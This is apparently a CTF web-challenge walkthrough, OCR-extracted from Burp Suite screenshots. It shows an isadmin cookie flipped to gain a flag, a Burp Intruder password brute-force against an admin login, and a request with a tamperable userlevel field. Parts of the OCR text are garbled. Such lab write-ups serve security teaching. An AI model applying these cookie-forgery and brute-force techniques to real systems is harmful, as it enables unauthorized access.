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Raw Headers Hex HTML Render

HTTP/1.1 200 OK

Date: Tue, 13 Aug 2019 07:55:14 GMT
Server: Apache/2.4.7 (Unix) PHP/5.3.27
X-Powered-By: PHP/5.3.27
Content-Length: 405

Connection: close

Content-Type: text/html

<html><head><meta http-equiv="Content-Type"
content="text/html; charset=utf-8">
<title>Careful</title>

</head>

<body alink="#007000" bgcolor="#000000"
link="gold" text="#008000" vlink="#00c000">
<center>

<br><br>

<center>

<h1>Do you know what happend just now?!</hl>
<script>

window.location.href="index.html";
</script>

</center>

<br>

<br>

<br>
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</html>
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39.107.92.230 BT

You are not admin.Get out!
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GET /web/web3/index.php HTTP/1.1
Host: 39.107.92.230
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%*/*;g=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-U5;g=0.3,en;qg
Accept-Encoding: gzip, deflate
Referer: http://whalectf.xin/challenges
Connection: close
Cookie: isadmin=0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

¥ CookieH [f] siadmin=0 BN isadmin=1, KIEHWEM, HKBflag: flag:{why_ar3_you_se_diae}
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@ Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type:  Sniper B

POST /web/web5/index.php HTTP/1.1 Add §
Host: 39.107.92.230

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; rv:68.0) Gecko/20100101 Clear §
Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/*;g=0.8 Auto §


http://39.107.92.230/web/web5/index.php

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/xz-www-form-urlencoded

Content-Length: 29

Connection: close

Referer: http://39.107.92.230/web/web5/index.php

Upgrade-Insecure-Requests: 1

Refresh

username=admin&password=§admin§

@

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 584521
Load nohack

45189946
Remove hacksb

Clear hackersb

Add Enter a new item

Add from list ... [Pro version only]

B dL ks i B Payload Options, Start attack, WBIEKEEHZ: Nsfocus

ERESUlTSY Taraet Positions Pavloads Onbtions

Filter: Showing all items

Request Payload Status Error Timeout Length Cor
82 NsfOcuS 200 2050
0 200 1923
1 584521 200 1923

="password" ="password"
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HTTP/1.1 200 OK



Date: Wed, 14 Aug 2019 07:03:07 GMT

Server: Apache/2.4.7 (Unix) PHP/5.3.27
X-Powered-By: PHP/5.3.27

Set-Cookie:
newpage=M]kw¥YmNhNzBJN2RhZTkzZGI2NJQ0ZmEwMGIS5ZDgzYjk
ucGhw; expires=Wed, 14-Aug-2019 07:04:07 GMT
Content-Length: 1753

Connection: close

Content-Type: text/html
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POST /web/web5/290bca70c7dae93db6644fal0b9d83b9.php?act=add HTTP/1.1
Host: 39.107.92.230

Comment this item

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;gq=0.7,2zh-HK;q=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 54

Connection: close

Referer: http://39.107.92.230/web/web5/290bca70c7dae93db6644£fa00b9d83b9.php?act=add
Upgrade-Insecure-Requests: 1

content=111ll&userlevel=guest&Submit=%E7%95%99%E8%AB%80
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